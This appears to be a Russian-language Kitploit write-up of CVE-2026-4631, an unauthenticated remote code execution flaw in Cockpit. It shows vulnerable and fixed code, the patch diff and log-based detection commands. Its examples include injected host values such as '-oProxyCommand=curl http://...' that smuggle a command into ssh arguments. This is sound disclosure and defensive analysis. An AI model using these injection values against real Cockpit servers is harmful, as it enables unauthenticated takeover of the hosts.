CVE-2026-4631-cockpit-RCE — Cockpit: Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH | Kitploit

def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Сформировать ssh-команду для выполнения `cmd` на `dest`."""

    # Разбор необязательного порта из dest (например, "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Удаление квадратных скобок IPv6
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  УЯЗВИМО: Нет '--' перед именем хоста
        # Если host = "-oProxyCommand=evil", ssh воспринимает это как параметр
        destination = ['-p', port, host]

    else:
        #  УЯЗВИМО: Необработанные данные атакующего передаются напрямую в ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← параметр cockpit
arg2: -oProxyCommand=curl http://...   ←  РАЗОБРАН КАК ПАРАМЕТР SSH (не имя хоста)
arg3: python3 -ic '# cockpit-bridge'   ← становится "именем хоста" → запускает ProxyCommand

    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  ИСПРАВЛЕНО: '--' заставляет всё после него быть позиционным
        destination = ['-p', port, '--', host]

    else:
        #  ИСПРАВЛЕНО: добавлен разделитель '--'
        destination = ['--', dest]

static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Извлекает всё после "cockpit+=" из пути URL
    //  Без проверки символов — дефисы, спецсимволы разрешены
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

// cockpit_ws_ssh_program — шаблон команды запуска
//  УЯЗВИМО: имя хоста добавляется без очистки
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        Отсутствие завершающего '--' означает, что имя хоста
//                        может быть разобрано как флаг Python'овским argparse (CPython #66623)

//  ИСПРАВЛЕНО: завершающий '--' гарантирует, что имя хоста всегда позиционное
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Декодирует Authorization: Basic base64(user:password)
        //  Без проверки 'user' — точки с запятой, спецсимволы разрешены
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' передаётся в учётные данные и в конечном итоге в 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  без очистки
                              ...);
}

async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE доступен не везде, поэтому используем setsid
    process = await asyncio.create_subprocess_exec(
        #  УЯЗВИМО: жёстко заданный путь + нет '--' перед назначением
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

    process = await asyncio.create_subprocess_exec(
        #  ИСПРАВЛЕНО: поиск по PATH вместо жёстко заданного пути + добавлен '--'
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

#!/usr/bin/env python3

import os, sys

# Извлечение хоста из окружения
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  УЯЗВИМО: та же первопричина — хост передаётся без очистки в beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

# Проверка запуска beiboot с подозрительными аргументами
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# Проверка вызовов SSH от пользователя cockpit-ws
journalctl _COMM=ssh | grep -v "^--$"

# Проверка, уязвима ли установленная версия
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Уязвима, если версия находится в диапазоне от 327 до 359 включительно

rpm -q cockpit-ws
# Применяется та же проверка версии

Ресурс	URL
Раскрытие OSS-Security	https://www.openwall.com/lists/oss-security/2026/04/10/5
Консультация по безопасности GitHub	https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Проблема Bugzilla	https://bugzilla.redhat.com/show_bug.cgi?id=2450246
Коммит исправления (cockpit)	https://github.com/cockpit-project/cockpit/commit/9d0695647
Коммит исправления (ferny)	https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
Ошибка argparse в CPython	https://github.com/python/cpython/issues/66623
Проверка имени хоста в OpenSSH 9.6	https://github.com/openssh/openssh-portable/commit/7ef3787

CVE ID	CVE-2026-4631
GHSA	GHSA-m4gv-x78h-3427
Серьёзность	Критическая (CVSS 9.8)
Затронутые версии	Cockpit 327 – 359
Исправлено в	Cockpit 360
CWE	CWE-78: Внедрение команд ОС
Требуется аутентификация	НЕТ
Сообщил	Jelle van der Waa

CVE-2026-4631-cockpit-RCE

Популярное

CVE-2026-4631 — Анализ кода

Содержание

1. Обзор уязвимости

2. Архитектурные предпосылки

Обычный процесс удалённого входа

Что изменилось в версии 327

3. Анализ первопричины

Проблема 1 — Отсутствие разделителя -- перед именем хоста

Проблема 2 — Отсутствие проверки входных данных

Проблема 3 — Ошибка Python argparse (CPython #66623)

4. Уязвимый код — по файлам

4.1 src/cockpit/beiboot.py — Основная точка внедрения

Уязвимый код (до исправления)

Как выглядит итоговый вызов SSH

Исправленный код (версия 360)

4.2 src/ws/cockpitauth.c — Слой C: Извлечение имени хоста

Извлечение имени хоста из URL (без проверки)

Исправлено в версии 360

Извлечение имени пользователя из заголовка Authorization (без проверки)

4.3 vendor/ferny/src/ferny/session.py — Третья точка внедрения

Уязвимый код (до исправления)

Исправленный код (версия 360)

4.4 containers/ws/cockpit-auth-ssh-key — Путь развёртывания в контейнерах

5. Векторы атак

Вектор 1 — Имя хоста → внедрение ProxyCommand

Вектор 2 — Имя пользователя → внедрение токена %r

6. Диаграмма потока данных

7. Анализ исправления

Исправление 1 — src/cockpit/beiboot.py (коммит 9d0695647)

Исправление 2 — src/ws/cockpitauth.c (коммит 9d0695647)

Исправление 3 — vendor/ferny/src/ferny/session.py (коммит 44ec511c99)

Почему -- исправляет проблему

8. Обнаружение

Обнаружение на сетевом уровне

Обнаружение по журналам (journald)

Проверка версии

9. Векторы атак

Сканирование одной цели

Сканирование нескольких целей из файла

Обнаружение с помощью OOB

Вектор атаки 1 — Имя пользователя → внедрение токена %r

Смягчение последствий (если исправление невозможно немедленно)

10. Ссылки

Проблема 1 — Отсутствие разделителя `--` перед именем хоста

Проблема 3 — Ошибка Python `argparse` (CPython #66623)

4.1 `src/cockpit/beiboot.py` — Основная точка внедрения

4.2 `src/ws/cockpitauth.c` — Слой C: Извлечение имени хоста

4.3 `vendor/ferny/src/ferny/session.py` — Третья точка внедрения

4.4 `containers/ws/cockpit-auth-ssh-key` — Путь развёртывания в контейнерах

Вектор 2 — Имя пользователя → внедрение токена `%r`

Исправление 1 — `src/cockpit/beiboot.py` (коммит `9d0695647`)

Исправление 2 — `src/ws/cockpitauth.c` (коммит `9d0695647`)

Исправление 3 — `vendor/ferny/src/ferny/session.py` (коммит `44ec511c99`)

Почему `--` исправляет проблему